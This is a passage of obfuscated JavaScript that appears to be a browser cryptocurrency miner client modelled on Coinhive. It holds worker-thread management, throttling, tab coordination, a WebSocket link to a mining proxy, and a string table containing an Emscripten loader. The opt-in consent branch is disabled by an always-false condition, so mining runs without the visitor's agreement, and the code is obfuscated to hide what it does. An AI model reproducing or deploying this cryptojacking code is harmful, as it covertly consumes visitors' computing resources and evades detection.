    _0x448b31[_0x989d("0x0")][_0x989d("0x47")] = function() {
        return this["_hashes"];
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x48")] = function() {
        return this[_0x989d("0x13")];
    };
    _0x448b31[_0x989d("0x0")]["on"] = function(_0x5b44f2, _0x21f41d) {
        if (this[_0x989d("0x49")][_0x5b44f2]) {
            this["_eventListeners"][_0x5b44f2][_0x989d("0x4a")](_0x21f41d);
        }
    };
    _0x448b31["prototype"][_0x989d("0x4b")] = function(_0x56c0e8) {
        return this[_0x989d("0x42")][_0x989d("0x4c")];
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x4d")] = function(_0x8c06a2) {
        this[_0x989d("0x42")]["enabled"] = !!_0x8c06a2;
        if (!_0x8c06a2 && this[_0x989d("0x42")][_0x989d("0x31")]) {
            clearInterval(this[_0x989d("0x42")][_0x989d("0x31")]);
            this["_autoThreads"][_0x989d("0x31")] = null;
        }
        if (_0x8c06a2 && !this[_0x989d("0x42")][_0x989d("0x31")]) {
            this[_0x989d("0x42")][_0x989d("0x4e")] = Date["now"]() + this[_0x989d("0x42")][_0x989d("0x4f")];
            this[_0x989d("0x42")]["interval"] = setInterval(this[_0x989d("0x50")]["bind"](this), 0x3e8);
        }
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x51")] = function() {
        return this[_0x989d("0x16")];
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x52")] = function(_0x337c3e) {
        this[_0x989d("0x16")] = Math["max"](0x0, Math[_0x989d("0x18")](0.99, _0x337c3e));
        if (this[_0x989d("0x10")]) {
            this["_setJob"](this["_currentJob"]);
        }
    };
    _0x448b31[_0x989d("0x0")]["getNumThreads"] = function() {
        return this[_0x989d("0x24")];
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x53")] = function(_0x1598ad) {
        var _0x1598ad = Math["max"](0x1, _0x1598ad | 0x0);
        this["_targetNumThreads"] = _0x1598ad;
        if (_0x1598ad > this[_0x989d("0x3e")][_0x989d("0x7")]) {
            for (var _0x4ed7d2 = 0x0; _0x1598ad > this[_0x989d("0x3e")][_0x989d("0x7")]; _0x4ed7d2++) {
                var _0x34c617 = new CH[(_0x989d("0x54"))]();
                if (this[_0x989d("0x10")]) {
                    _0x34c617[_0x989d("0x55")](this[_0x989d("0x10")], this["_onTargetMetBound"]);
                }
                this[_0x989d("0x3e")][_0x989d("0x4a")](_0x34c617);
            }
        } else if (_0x1598ad < this["_threads"][_0x989d("0x7")]) {
            while (_0x1598ad < this["_threads"]["length"]) {
                var _0x34c617 = this[_0x989d("0x3e")][_0x989d("0x56")]();
                this[_0x989d("0x15")] += _0x34c617[_0x989d("0x3f")];
                _0x34c617[_0x989d("0x40")]();
            }
        }
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x27")] = function() {
        return _0x42a757[_0x989d("0x57")] !== undefined;
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x58")] = function() {
        return this[_0x989d("0x3e")][_0x989d("0x7")] > 0x0;
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x33")] = function() {
        if (this[_0x989d("0x1b")][_0x989d("0x2f")] !== CH[_0x989d("0x59")] && !this[_0x989d("0x1b")]["interval"]) {
            this["_tab"][_0x989d("0x31")] = setInterval(this[_0x989d("0x5a")][_0x989d("0x2d")](this), 0x3e8);
        }
        if (this[_0x989d("0x1b")][_0x989d("0x2f")] === CH["IF_EXCLUSIVE_TAB"] && this["_otherTabRunning"]()) {
            return;
        }
        if (this[_0x989d("0x1b")][_0x989d("0x2f")] === CH["FORCE_EXCLUSIVE_TAB"]) {
            this[_0x989d("0x1b")]["grace"] = Date["now"]() + 0xbb8;
        }
        if (!this[_0x989d("0x5b")]) {
            this["verifyThread"] = new CH[(_0x989d("0x54"))]();
        }
        this[_0x989d("0x53")](this["_targetNumThreads"]);
        this[_0x989d("0x11")] = !![];
        if (![] && !this[_0x989d("0x30")]) {
            this[_0x989d("0x5c")] =
                this[_0x989d("0x5c")] ||
                new CH[(_0x989d("0x5d"))](this[_0x989d("0xd")], {
                    theme: this[_0x989d("0xc")][_0x989d("0x5e")] || "light",
                    lang: this[_0x989d("0xc")]["language"] || "auto"
                });
            this[_0x989d("0x5c")][_0x989d("0x5f")](
                function(_0x4798ec) {
                    if (!_0x4798ec) {
                        this["_emit"](_0x989d("0x60"), {
                            status: "canceled"
                        });
                        this[_0x989d("0x61")](_0x989d("0x62"), {
                            error: "opt_in_canceled"
                        });
                        return;
                    }
                    this[_0x989d("0x61")](_0x989d("0x60"), {
                        status: "accepted"
                    });
                    this[_0x989d("0x30")] = _0x4798ec;
                    this[_0x989d("0x63")]();
                }["bind"](this)
            );
        } else {
            this[_0x989d("0x63")]();
        }
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x64")] = function() {
        if (this[_0x989d("0x1b")]["lastPingReceived"] > Date[_0x989d("0x22")]() - 0x5dc) {
            return !![];
        }
        try {
            var _0x5eb066 = localStorage[_0x989d("0x65")]("CH");
            if (_0x5eb066) {
                var _0x5b4c66 = JSON[_0x989d("0x66")](_0x5eb066);
                if (
                    _0x5b4c66[_0x989d("0x67")] !== this[_0x989d("0x1b")][_0x989d("0x67")] &&
                    Date[_0x989d("0x22")]() - _0x5b4c66["time"] < 0x5dc
                ) {
                    return !![];
                }
            }
        } catch (_0x2c3f5c) {}
        return ![];
    };
    _0x448b31["prototype"][_0x989d("0x5a")] = function() {
        var _0xa6d2a1 = this[_0x989d("0x64")]();
        if (_0xa6d2a1 && this[_0x989d("0x58")]() && Date[_0x989d("0x22")]() > this["_tab"][_0x989d("0x68")]) {
            this[_0x989d("0x40")]("dontKillTabUpdate");
        } else if (!_0xa6d2a1 && !this[_0x989d("0x58")]()) {
            this[_0x989d("0x33")]();
        }
        if (this[_0x989d("0x58")]()) {
            if (this[_0x989d("0x1f")]) {
                this[_0x989d("0x1f")]["postMessage"](_0x989d("0x21"));
            }
            try {
                localStorage[_0x989d("0x69")](
                    "CH",
                    JSON[_0x989d("0x6a")]({
                        ident: this["_tab"][_0x989d("0x67")],
                        time: Date["now"]()
                    })
                );
            } catch (_0x20b08f) {}
        }
    };
    _0x448b31[_0x989d("0x0")]["_adjustThreads"] = function() {
        var _0xa5f319 = this[_0x989d("0x43")]();
        var _0x4f4c18 = this[_0x989d("0x6b")]();
        var _0x33b47c = this[_0x989d("0x42")][_0x989d("0x6c")];
        _0x33b47c[_0x4f4c18] = _0x33b47c[_0x4f4c18] ? _0x33b47c[_0x4f4c18] * 0.5 + _0xa5f319 * 0.5 : _0xa5f319;
        if (Date[_0x989d("0x22")]() > this["_autoThreads"][_0x989d("0x4e")]) {
            this[_0x989d("0x42")][_0x989d("0x4e")] = Date[_0x989d("0x22")]() + this[_0x989d("0x42")][_0x989d("0x4f")];
            var _0xaf2654 = (_0x33b47c[_0x4f4c18] || 0x0) - 0x1;
            var _0x120b8a = _0x33b47c[_0x4f4c18 + 0x1] || 0x0;
            var _0x245f73 = _0x33b47c[_0x4f4c18 - 0x1] || 0x0;
            if (_0xaf2654 > _0x245f73 && (_0x120b8a === 0x0 || _0x120b8a > _0xaf2654) && _0x4f4c18 < 0x8) {
                return this[_0x989d("0x53")](_0x4f4c18 + 0x1);
            } else if (_0xaf2654 > _0x120b8a && (!_0x245f73 || _0x245f73 > _0xaf2654) && _0x4f4c18 > 0x1) {
                return this[_0x989d("0x53")](_0x4f4c18 - 0x1);
            }
        }
    };
    _0x448b31[_0x989d("0x0")]["_emit"] = function(_0x13c876, _0x5460e9) {
        var _0x46c51f = this[_0x989d("0x49")][_0x13c876];
        if (_0x46c51f && _0x46c51f["length"]) {
            for (var _0x3f4abe = 0x0; _0x3f4abe < _0x46c51f[_0x989d("0x7")]; _0x3f4abe++) {
                _0x46c51f[_0x3f4abe](_0x5460e9);
            }
        }
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x6d")] = function(_0x5d8fc9) {
        var _0xbae4d3 = 0x1505,
            _0x322db1 = _0x5d8fc9[_0x989d("0x7")];
        while (_0x322db1) {
            _0xbae4d3 = (_0xbae4d3 * 0x21) ^ _0x5d8fc9[_0x989d("0x6e")](--_0x322db1);
        }
        return _0xbae4d3 >>> 0x0;
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x63")] = function() {
        if (this[_0x989d("0x41")]) {
            return;
        }
        this["_socket"] = new WebSocket(proxyUrl);
        this[_0x989d("0x41")][_0x989d("0x20")] = this[_0x989d("0x6f")][_0x989d("0x2d")](this);
        this[_0x989d("0x41")][_0x989d("0x70")] = this[_0x989d("0x71")][_0x989d("0x2d")](this);
        this[_0x989d("0x41")][_0x989d("0x72")] = this[_0x989d("0x73")][_0x989d("0x2d")](this);
        this["_socket"][_0x989d("0x74")] = this[_0x989d("0x75")][_0x989d("0x2d")](this);
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x75")] = function(_0x38ec6f) {
        this["_emit"](_0x989d("0x3a"));
        var _0x223b97 = {
            site_key: this[_0x989d("0xd")],
            type: "anonymous",
            user: null,
            goal: 0x0
        };
        if (this[_0x989d("0xe")]) {
            _0x223b97[_0x989d("0x76")] = _0x989d("0x77");
            _0x223b97[_0x989d("0x77")] = this[_0x989d("0xe")][_0x989d("0x78")]();
        } else if (this[_0x989d("0x14")]) {
            _0x223b97[_0x989d("0x76")] = "token";
            _0x223b97[_0x989d("0x79")] = this["_goal"];
        }
        if (this[_0x989d("0x30")]) {
            _0x223b97[_0x989d("0x7a")] = this["_optInToken"];
        }
        this[_0x989d("0x7b")](_0x989d("0x5f"), _0x223b97);
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x71")] = function(_0x5f4aa2) {
        this[_0x989d("0x61")]("error", {
            error: _0x989d("0x7c")
        });
        this[_0x989d("0x73")](_0x5f4aa2);
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x73")] = function(_0x429e97) {
        if (_0x429e97[_0x989d("0x7d")] >= 0x3eb && _0x429e97[_0x989d("0x7d")] <= 0x3f1) {
            this[_0x989d("0x12")] = 0x3c;
        }
        for (var _0x3fe7d1 = 0x0; _0x3fe7d1 < this[_0x989d("0x3e")]["length"]; _0x3fe7d1++) {
            this[_0x989d("0x3e")][_0x3fe7d1][_0x989d("0x40")]();
        }
        this[_0x989d("0x3e")] = [];
        this[_0x989d("0x41")] = null;
        this[_0x989d("0x61")](_0x989d("0x7e"));
        if (this[_0x989d("0x11")]) {
            setTimeout(this[_0x989d("0x33")][_0x989d("0x2d")](this), this["_reconnectRetry"] * 0x3e8);
        }
    };
    _0x448b31[_0x989d("0x0")]["_onMessage"] = function(_0x27e3ff) {
        var _0x11a976 = JSON[_0x989d("0x66")](_0x27e3ff[_0x989d("0x7f")]);
        if (_0x11a976[_0x989d("0x76")] === _0x989d("0x80")) {
            this[_0x989d("0x81")](_0x11a976["params"]);
            this[_0x989d("0x61")]("job", _0x11a976[_0x989d("0xc")]);
            if (this[_0x989d("0x42")]["enabled"] && !this[_0x989d("0x42")][_0x989d("0x31")]) {
                this[_0x989d("0x42")][_0x989d("0x4e")] = Date[_0x989d("0x22")]() + this[_0x989d("0x42")]["adjustEvery"];
                this[_0x989d("0x42")][_0x989d("0x31")] = setInterval(this[_0x989d("0x50")]["bind"](this), 0x3e8);
            }
        } else if (_0x11a976[_0x989d("0x76")] === _0x989d("0x82")) {
            this[_0x989d("0x5b")][_0x989d("0x82")](_0x11a976[_0x989d("0xc")], this[_0x989d("0x2e")]);
        } else if (_0x11a976[_0x989d("0x76")] === _0x989d("0x83")) {
            this[_0x989d("0xf")] = _0x11a976[_0x989d("0xc")][_0x989d("0x84")];
            this[_0x989d("0x61")](_0x989d("0x85"), _0x11a976[_0x989d("0xc")]);
            if (this[_0x989d("0x14")] && this[_0x989d("0xf")] >= this[_0x989d("0x14")]) {
                this[_0x989d("0x40")]();
            }
        } else if (_0x11a976[_0x989d("0x76")] === _0x989d("0x86")) {
            this[_0x989d("0x13")] = _0x11a976[_0x989d("0xc")][_0x989d("0x87")] || null;
            this[_0x989d("0xf")] = _0x11a976[_0x989d("0xc")][_0x989d("0x84")] || 0x0;
            this[_0x989d("0x61")]("authed", _0x11a976[_0x989d("0xc")]);
            this[_0x989d("0x12")] = 0x3;
        } else if (_0x11a976[_0x989d("0x76")] === "error") {
            if (console && console["error"]) {
                console[_0x989d("0x62")](_0x989d("0x88"), _0x11a976[_0x989d("0xc")][_0x989d("0x62")]);
            }
            this[_0x989d("0x61")](_0x989d("0x62"), _0x11a976[_0x989d("0xc")]);
            if (_0x11a976[_0x989d("0xc")]["error"] === _0x989d("0x89")) {
                this[_0x989d("0x12")] = 0x1770;
            } else if (_0x11a976[_0x989d("0xc")][_0x989d("0x62")] === _0x989d("0x8a")) {
                if (this[_0x989d("0x8b")]) {
                    return this[_0x989d("0x40")]();
                } else if (this[_0x989d("0x5c")]) {
                    this[_0x989d("0x5c")][_0x989d("0x8c")]();
                }
            }
        } else if (_0x11a976[_0x989d("0x76")] === _0x989d("0x8d") || _0x11a976[_0x989d("0xc")]["banned"]) {
            this[_0x989d("0x61")](_0x989d("0x62"), {
                banned: !![]
            });
            this[_0x989d("0x12")] = 0x258;
        }
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x81")] = function(_0x350772) {
        this[_0x989d("0x10")] = _0x350772;
        this[_0x989d("0x10")][_0x989d("0x19")] = this["_throttle"];
        for (var _0x5eeecf = 0x0; _0x5eeecf < this[_0x989d("0x3e")]["length"]; _0x5eeecf++) {
            this[_0x989d("0x3e")][_0x5eeecf][_0x989d("0x55")](_0x350772, this["_onTargetMetBound"]);
        }
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x2c")] = function(_0x761cde) {
        this[_0x989d("0x61")](_0x989d("0x8e"), _0x761cde);
        if (_0x761cde[_0x989d("0x8f")] === this["_currentJob"][_0x989d("0x8f")]) {
            this[_0x989d("0x7b")](_0x989d("0x90"), {
                job_id: _0x761cde[_0x989d("0x8f")],
                nonce: _0x761cde[_0x989d("0x91")],
                result: _0x761cde[_0x989d("0x92")]
            });
        }
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x93")] = function(_0x194cc4) {
        this["_send"](_0x989d("0x94"), _0x194cc4);
    };
    _0x448b31[_0x989d("0x0")][_0x989d("0x7b")] = function(_0x26bb3c, _0x14595a) {
        if (!this[_0x989d("0x41")]) {
            return;
        }
        var _0x4a0ed3 = {
            type: _0x26bb3c,
            params: _0x14595a || {}
        };
        this[_0x989d("0x41")][_0x989d("0x3d")](JSON[_0x989d("0x6a")](_0x4a0ed3));
    };
    _0x42a757["CH"] = _0x42a757["CH"] || {};
    _0x42a757["CH"][_0x989d("0x1d")] = _0x989d("0x95");
    _0x42a757["CH"][_0x989d("0x96")] = _0x989d("0x97");
    _0x42a757["CH"]["FORCE_MULTI_TAB"] = _0x989d("0x98");
    _0x42a757["CH"]["Token"] = function(_0x21a325, _0x3ada41, _0x1f68e3) {
        var _0xf817e3 = new _0x448b31(_0x21a325, _0x1f68e3);
        _0xf817e3[_0x989d("0x14")] = _0x3ada41 || 0x0;
        return _0xf817e3;
    };
    _0x42a757["CH"]["User"] = function(_0x58f3bf, _0x13e5a6, _0x22e59a) {
        var _0x267c67 = new _0x448b31(_0x58f3bf, _0x22e59a);
        _0x267c67[_0x989d("0xe")] = _0x13e5a6;
        return _0x267c67;
    };
    _0x42a757["CH"][_0x989d("0x99")] = function(_0x364de1, _0x2a97e7) {
        var _0x1f725a = new _0x448b31(_0x364de1, _0x2a97e7);
        return _0x1f725a;
    };
})(window);
(function(_0x50ebae) {
    "use strict";
    var _0x30da20 = function() {
        this[_0x989d("0x9a")] = new Worker(CH[_0x989d("0x36")]);
        this[_0x989d("0x9a")][_0x989d("0x20")] = this[_0x989d("0x9b")][_0x989d("0x2d")](this);
        this[_0x989d("0x9c")] = null;
        this[_0x989d("0x9d")] = function() {};
        this[_0x989d("0x9e")] = function() {};
        this[_0x989d("0x9f")] = ![];
        this[_0x989d("0x44")] = 0x0;
        this[_0x989d("0x3f")] = 0x0;
        this["running"] = ![];
        this["lastMessageTimestamp"] = Date["now"]();
    };
    _0x30da20["prototype"][_0x989d("0x9b")] = function(_0x249d69) {
        if (_0x249d69[_0x989d("0x7f")] !== _0x989d("0xa0") || this[_0x989d("0x9f")]) {
            throw _0x989d("0xa1") + _0x249d69;
        }
        this["_isReady"] = !![];
        this[_0x989d("0x9a")]["onmessage"] = this[_0x989d("0xa2")]["bind"](this);
        if (this["currentJob"]) {
            this["running"] = !![];
            this[_0x989d("0x9a")]["postMessage"](this[_0x989d("0x9c")]);
        }
    };
    _0x30da20[_0x989d("0x0")][_0x989d("0xa2")] = function(_0x466793) {
        if (_0x466793[_0x989d("0x7f")][_0x989d("0xa3")]) {
            this[_0x989d("0x9e")](_0x466793[_0x989d("0x7f")]);
            return;
        }
        if (_0x466793[_0x989d("0x7f")][_0x989d("0x92")]) {
            this["jobCallback"](_0x466793[_0x989d("0x7f")]);
        }
        this[_0x989d("0x44")] = this[_0x989d("0x44")] * 0.5 + _0x466793[_0x989d("0x7f")][_0x989d("0x44")] * 0.5;
        this[_0x989d("0x3f")] += _0x466793["data"]["hashes"];
        this["lastMessageTimestamp"] = Date[_0x989d("0x22")]();
        if (this[_0x989d("0xa4")]) {
            this[_0x989d("0x9a")][_0x989d("0xa5")](this["currentJob"]);
        }
    };
    _0x30da20[_0x989d("0x0")][_0x989d("0x55")] = function(_0x503b9e, _0x2124eb) {
        this[_0x989d("0x9c")] = _0x503b9e;
        this[_0x989d("0x9d")] = _0x2124eb;
        if (this[_0x989d("0x9f")] && !this[_0x989d("0xa4")]) {
            this[_0x989d("0xa4")] = !![];
            this[_0x989d("0x9a")][_0x989d("0xa5")](this[_0x989d("0x9c")]);
        }
    };
    _0x30da20["prototype"][_0x989d("0x82")] = function(_0x466e7b, _0xfbb6f9) {
        if (!this[_0x989d("0x9f")]) {
            return;
        }
        this[_0x989d("0x9e")] = _0xfbb6f9;
        this[_0x989d("0x9a")][_0x989d("0xa5")](_0x466e7b);
    };
    _0x30da20[_0x989d("0x0")][_0x989d("0x40")] = function() {
        if (this[_0x989d("0x9a")]) {
            this[_0x989d("0x9a")]["terminate"]();
            this["worker"] = null;
        }
        this[_0x989d("0xa4")] = ![];
    };
    _0x50ebae["CH"][_0x989d("0x54")] = _0x30da20;
})(window);
CH[_0x989d("0x36")] = URL["createObjectURL"](new Blob([_0x989d("0xa6") + libUrl + _0x989d("0xa7")]));

And variables:

var _0x89d9 = [
    "getAcceptedHashes",
    "getToken",
    "_eventListeners",
    "push",
    "getAutoThreadsEnabled",
    "enabled",
    "setAutoThreadsEnabled",
    "adjustAt",
    "adjustEvery",
    "_adjustThreads",
    "getThrottle",
    "setThrottle",
    "setNumThreads",
    "JobThread",
    "setJob",
    "pop",
    "WebAssembly",
    "isRunning",
    "FORCE_MULTI_TAB",
    "_updateTabs",
    "verifyThread",
    "_auth",
    "Auth",
    "theme",
    "auth",
    "optin",
    "_emit",
    "error",
    "_connect",
    "_otherTabRunning",
    "getItem",
    "parse",
    "ident",
    "grace",
    "setItem",
    "stringify",
    "getNumThreads",
    "stats",
    "_hashString",
    "charCodeAt",
    "_onMessage",
    "onerror",
    "_onError",
    "onclose",
    "_onClose",
    "onopen",
    "_onOpen",
    "type",
    "user",
    "toString",
    "goal",
    "opt_in",
    "_send",
    "connection_error",
    "code",
    "close",
    "data",
    "job",
    "_setJob",
    "verify",
    "hash_accepted",
    "hashes",
    "accepted",
    "authed",
    "token",
    "CH\x20Error:",
    "invalid_site_key",
    "invalid_opt_in",
    "_stopOnInvalidOptIn",
    "reset",
    "banned",
    "found",
    "job_id",
    "submit",
    "nonce",
    "result",
    "_onVerified",
    "verified",
    "ifExclusiveTab",
    "FORCE_EXCLUSIVE_TAB",
    "forceExclusiveTab",
    "forceMultiTab",
    "Anonymous",
    "worker",
    "onReady",
    "currentJob",
    "jobCallback",
    "verifyCallback",
    "_isReady",
    "ready",
    "Expecting\x20first\x20message\x20to\x20be\x20\x22ready\x22,\x20got\x20",
    "onReceiveMsg",
    "verify_id",
    "running",
    "postMessage",
    "var\x20Module={locateFile:(function(path){return\x20\x22",
    "\x22+path})};var\x20Module;if(!Module)Module=(typeof\x20Module!==\x22undefined\x22?Module:null)||{};var\x20moduleOverrides={};for(var\x20key\x20in\x20Module){if(Module.hasOwnProperty(key)){moduleOverrides[key]=Module[key]}}var\x20ENVIRONMENT_IS_WEB=false;var\x20ENVIRONMENT_IS_WORKER=false;var\x20ENVIRONMENT_IS_NODE=false;var\x20ENVIRONMENT_IS_SHELL=false;if(Module[\x22ENVIRONMENT\x22]){if(Module[\x22ENVIRONMENT\x22]===\x22WEB\x22){ENVIRONMENT_IS_WEB=true}else\x20if(Module[\x22ENVIRONMENT\x22]===\x22WORKER\x22){ENVIRONMENT_IS_WORKER=true}else\x20if(Module[\x22ENVIRONMENT\x22]===\x22NODE\x22){ENVIRONMENT_IS_NODE=true}else\x20if(Module[\x22ENVIRONMENT\x22]===\x22SHELL\x22){ENVIRONMENT_IS_SHELL=true}else{throw\x20new\x20Error(\x22The\x20provided\x20Module[\x27ENVIRONMENT\x27]\x20value\x20is\x20not\x20valid.\x20It\x20must\x20be\x20one\x20of:\x20WEB|WORKER|NODE|SHELL.\x22)}}else{ENVIRONMENT_IS_WEB=typeof\x20window===\x22object\x22;ENVIRONMENT_IS_WORKER=typeof\x20importScripts===\x22function\x22;ENVIRONMENT_IS_NODE=typeof\x20process===\x22object\x22&&typeof\x20require===\x22function\x22&&!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER;ENVIRONMENT_IS_SHELL=!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_NODE&&!ENVIRONMENT_IS_WORKER}if(ENVIRONMENT_IS_NODE){if(!Module[\x22print\x22])Module[\x22print\x22]=console.log;if(!Module[\x22printErr\x22])Module[\x22printErr\x22]=console.warn;var\x20nodeFS;var\x20nodePath;Module[\x22read\x22]=function\x20shell_read(filename,binary){if(!nodeFS)nodeFS=require(\x22fs\x22);if(!nodePath)nodePath=require(\x22path\x22);filename=nodePath[\x22normalize\x22](filename);var\x20ret=nodeFS[\x22readFileSync\x22](filename);return\x20binary?ret:ret.toString()};Module[\x22readBinary\x22]=function\x20readBinary(filename){var\x20ret=Module[\x22read\x22](filename,true);if(!ret.buffer){ret=new\x20Uint8Array(ret)}assert(ret.buffer);return\x20ret};Module[\x22load\x22]=function\x20load(f){globalEval(read(f))};if(!Module[\x22thisProgram\x22]){if(process[\x22argv\x22].length>1){Module[\x22thisProgram\x22]=process[\x22argv\x22][1].replace(/\x5c\x5c/g,\x22/\x22)}else{Module[\x22thisProgram\x22]=\x22unknown-program\x22}}Module[\x22arguments\x22]=process[\x22argv\x22].slice(2);if(typeof\x20module!==\x22undefined\x22){module[\x22exports\x22]=Module}process[\x22on\x22](\x22uncaughtException\x22,(function(ex){if(!(ex\x20instanceof\x20ExitStatus)){throw\x20ex}}));Module[\x22inspect\x22]=(function(){return\x22[Emscripten\x20Module\x20object]\x22})}else\x20if(ENVIRONMENT_IS_SHELL){if(!Module[\x22print\x22])Module[\x22print\x22]=print;if(typeof\x20printErr!=\x22undefined\x22)Module[\x22printErr\x22]=printErr;if(typeof\x20read!=\x22undefined\x22){Module[\x22read\x22]=read}else{Module[\x22read\x22]=function\x20shell_read(){throw\x22no\x20read()\x20available\x22}}Module[\x22readBinary\x22]=function\x20readBinary(f){if(typeof\x20readbuffer===\x22function\x22){return\x20new\x20Uint8Array(readbuffer(f))}var\x20data=read(f,\x22binary\x22);assert(typeof\x20data===\x22object\x22);return\x20data};if(typeof\x20scriptArgs!=\x22undefined\x22){Module[\x22arguments\x22]=scriptArgs}else\x20if(typeof\x20arguments!=\x22undefined\x22){Module[\x22arguments\x22]=arguments}if(typeof\x20quit===\x22function\x22){Module[\x22quit\x22]=(function(status,toThrow){quit(status)})}}else\x20if(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER){Module[\x22read\x22]=function\x20shell_read(url){var\x20xhr=new\x20XMLHttpRequest;xhr.open(\x22GET\x22,url,false);xhr.send(null);return\x20xhr.responseText};if(ENVIRONMENT_IS_WORKER){Module[\x22readBinary\x22]=function\x20readBinary(url){var\x20xhr=new\x20XMLHttpRequest;xhr.open(\x22GET\x22,url,false);xhr.responseType=\x22arraybuffer\x22;xhr.send(null);return\x20new\x20Uint8Array(xhr.response)}}Module[\x22readAsync\x22]=function\x20readAsync(url,onload,onerror){var\x20xhr=new\x20XMLHttpRequest;xhr.open(\x22GET\x22,url,true);xhr.responseType=\x22arraybuffer\x22;xhr.onload=function\x20xhr_onload(){if(xhr.status==200||xhr.status==0&&xhr.response){onload(xhr.response)}else{onerror()}};xhr.onerror=onerror;xhr.send(null)};if(typeof\x20arguments!=\x22undefined\x22){Module[\x22arguments\x22]=arguments}if(typeof\x20console!==\x22undefined\x22){if(!Module[\x22print\x22])Module[\x22print\x22]=function\x20shell_print(x){console.log(x)};if(!Module[\x22printErr\x22])Module[\x22printErr\x22]=function\x20shell_printErr(x){console.warn(x)}}else{var\x20TRY_USE_DUMP=false;if(!Module[\x22print\x22])Module[\x22print\x22]=TRY_USE_DUMP&&typeof\x20dump!==\x22undefined\x22?(function(x){dump(x)}):(function(x){})}if(ENVIRONMENT_IS_WORKER){Module[\x22load\x22]=importScripts}if(typeof\x20Module[\x22setWindowTitle\x22]===\x22undefined\x22){Module[\x22setWindowTitle\x22]=(function(title){document.title=title})}}else{throw\x22Unknown\x20runtime\x20environment.\x20Where\x20are\x20we?\x22}function\x20globalEval(x){eval.call(null,x)}if(!Module[\x22load\x22]&&Module[\x22read\x22]){Module[\x22load\x22]=function\x20load(f){globalEval(Module[\x22read\x22](f))}}if(!Module[\x22print\x22]){Module[\x22print\x22]=(function(){})}if(!Module[\x22printErr\x22]){Module[\x22printErr\x22]=Module[\x22print\x22]}if(!Module[\x22arguments\x22]){Module[\x22arguments\x22]=[]}if(!Module[\x22thisProgram\x22]){Module[\x22thisProgram\x22]=\x22./this.program\x22}if(!Module[\x22quit\x22]){Module[\x22quit\x22]=(function(status,toThrow){throw\x20toThrow})}Module.print=Module[\x22print\x22];Module.printErr=Module[\x22printErr\x22];Module[\x22preRun\x22]=[];Module[\x22postRun\x22]=[];for(var\x20key\x20in\x20moduleOverrides){if(moduleOverrides.hasOwnProperty(key)){Module[key]=moduleOverrides[key]}}moduleOverrides=undefined;var\x20Runtime={setTempRet0:(function(value){tempRet0=value;return\x20value}),getTempRet0:(function(){return\x20tempRet0}),stackSave:(function(){return\x20STACKTOP}),stackRestore:(function(stackTop){STACKTOP=stackTop}),getNativeTypeSize:(function(type){switch(type){case\x22i1\x22:case\x22i8\x22:return\x201;case\x22i16\x22:return\x202;case\x22i32\x22:return\x204;case\x22i64\x22:return\x208;case\x22float\x22:return\x204;case\x22double\x22:return\x208;default:{if(type[type.length-1]===\x22*\x22){return\x20Runtime.QUANTUM_SIZE}else\x20if(type[0]===\x22i\x22){var\x20bits=parseInt(type.substr(1));assert(bits%8===0);return\x20bits/8}else{return\x200}}}}),getNativeFieldSize:(function(type){return\x20Math.max(Runtime.getNativeTypeSize(type),Runtime.QUANTUM_SIZE)}),STACK_ALIGN:16,prepVararg:(function(ptr,type){if(type===\x22double\x22||type===\x22i64\x22){if(ptr&7){assert((ptr&7)===4);ptr+=4}}else{assert((ptr&3)===0)}return\x20ptr}),getAlignSize:(function(type,size,vararg){if(!vararg&&(type==\x22i64\x22||type==\x22double\x22))return\x208;if(!type)return\x20Math.min(size,8);return\x20Math.min(size||(type?Runtime.getNativeFieldSize(type):0),Runtime.QUANTUM_SIZE)}),dynCall:(function(sig,ptr,args){if(args&&args.length){return\x20Module[\x22dynCall_\x22+sig].apply(null,[ptr].concat(args))}else{return\x20Module[\x22dynCall_\x22+sig].call(null,ptr)}}),functionPointers:[],addFunction:(function(func){for(var\x20i=0;i<Runtime.functionPointers.length;i++){if(!Runtime.functionPointers[i]){Runtime.functionPointers[i]=func;return\x202*(1+i)}}throw\x22Finished\x20up\x20all\x20reserved\x20function\x20pointers.\x20Use\x20a\x20higher\x20value\x20for\x20RESERVED_FUNCTION_POINTERS.\x22}),removeFunction:(function(index){Runtime.functionPointers[(index-2)/2]=null}),warnOnce:(function(text){if(!Runtime.warnOnce.shown)Runtime.warnOnce.shown={};if(!Runtime.warnOnce.shown[text]){Runtime.warnOnce.shown[text]=1;Module.printErr(text)}}),funcWrappers:{},getFuncWrapper:(function(func,sig){assert(sig);if(!Runtime.funcWrappers[sig]){Runtime.funcWrappers[sig]={}}var\x20sigCache=Runtime.funcWrappers[sig];if(!sigCache[func]){if(sig.length===1){sigCache[func]=function\x20dynCall_wrapper(){return\x20Runtime.dynCall(sig,func)}}else\x20if(sig.length===2){sigCache[func]=function\x20dynCall_wrapper(arg){return\x20Runtime.dynCall(sig,func,[arg])}}else{sigCache[func]=function\x20dynCall_wrapper(){return\x20Runtime.dynCall(sig,func,Array.prototype.slice.call(arguments))}}}return\x20sigCache[func]}),getCompilerSetting:(function(name){throw\x22You\x20must\x20build\x20with\x20-s\x20RETAIN_COMPILER_SETTINGS=1\x20for\x20Runtime.getCompilerSetting\x20or\x20emscripten_get_compiler_setting\x20to\x20work\x22}),stackAlloc:(function(size){var\x20ret=STACKTOP;STACKTOP=STACKTOP+size|0;STACKTOP=STACKTOP+15&-16;return\x20ret}),staticAlloc:(function(size){var\x20ret=STATICTOP;STATICTOP=STATICTOP+size|0;STATICTOP=STATICTOP+15&-16;return\x20ret}),dynamicAlloc:(function(size){var\x20ret=HEAP32[DYNAMICTOP_PTR>>2];var\x20end=(ret+size+15|0)&-